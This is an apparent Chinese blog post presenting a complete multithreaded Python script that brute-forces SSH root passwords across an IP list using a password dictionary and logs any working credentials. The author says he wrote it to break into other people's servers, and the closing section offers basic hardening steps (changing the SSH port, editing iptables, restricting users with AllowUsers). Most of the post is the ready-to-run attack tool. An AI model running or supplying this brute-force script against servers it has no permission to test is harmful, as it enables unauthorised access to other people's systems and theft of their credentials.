python多线程ssh爆破

jopen 9年前

python多线程ssh爆破

0x01.About

这几天发现朋友的服务器22被人爆了,于是想想,也想去爆别人服务器。

爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入。

主要使用到的是python的paramiko模块和多线程threading模块。

那么,首先要准备的是字典dict、服务器ip表。

东西很简单,主要默认目录如下:

|--ssh.scan.py  |--/log:      sshd  |--/dict:      ip      password

ip和password按照一行一个放置。

0x02.Code

下面上源码吧,文件保存为ssh.scan.py,查看使用方式:python ssh.scan.py -h

#!/usr/bin/python python  # -*- coding: utf-8 -*-  import paramiko,threading,sys,time,os  class SSHThread(threading.Thread):   def __init__(self, ip, port, timeout, dic, LogFile):    threading.Thread.__init__(self)    self.ip = ip    self.port = port    self.dict = dic    self.timeout = timeout    self.LogFile = LogFile   def run(self):    print("Start try ssh => %s" % self.ip)    username = "root"    try:     password = open(self.dict).read().split('\n')    except:     print("Open dict file `%s` error" % self.dict)     exit(1)    for pwd in password:     try:      ssh = paramiko.SSHClient()      ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())      ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)      print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))      open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))      break     except:      print("IP => %s, Error %s => %s" % (self.ip, username, pwd))      pass  def ViolenceSSH(ip, port, timeout, dic, LogFile):   ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)   ssh_scan.start()  def main(ipFile, dic, log):   if ipFile == "-h":    help()   try:    ipText = open(ipFile).read().split('\n')    for ip in ipText:     if ip != '':      time.sleep(0.5)      threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start()   except:    print("Open IP list file `%s` error" % ipFile)    exit(1)  def help():   print("python ssh.scan.py 使用说明:\n\    python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n")   exit(1)  if __name__ == '__main__':   fpath = os.path.dirname(os.path.abspath('__file__'))   ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip"    dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password"   log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd"   try:    os.system("clear")    main(ipFile, dic, log)   except KeyboardInterrupt:    exit(1)

结果比较丑,自己爆自己服务器:

python多线程ssh爆破

0x03.Solution

怎么办呢?防止被人爆菊,那就修改ssh默认登陆端口吧。修改方式主要是修改ssh配置文件:

1.修改iptables

首先要过防火墙,修改防火墙规则:

/sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 2333 -j ACCEPT

保存规则:

service iptables save

重启防火墙:

service iptables restart

2.修改ssh配置文件

cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak

修改ssh端口:

vim /etc/ssh/sshd_config

在端口#Port 22下面增加Port 2333

vim /etc/ssh/ssh_config

在端口#Port 22下面增加Port 2333

重启ssh服务:

service sshd restart

3.其他修改

限制用户的SSH访问

假设我们只要xiaocao和homeway用户能通过SSH使用系统,向sshd_config配置文件中添加

vim /etc/ssh/sshd_config

修改下面一行:

AllowUsers xiaocao homeway

代码下载地址: http://homeway.me/code/python-violence-ssh.zip

本文出自 夏日小草 ,转载请注明出处: http://homeway.me/2015/06/20/python-violence-ssh-attack

-by小草

2015-06-20 19:59:54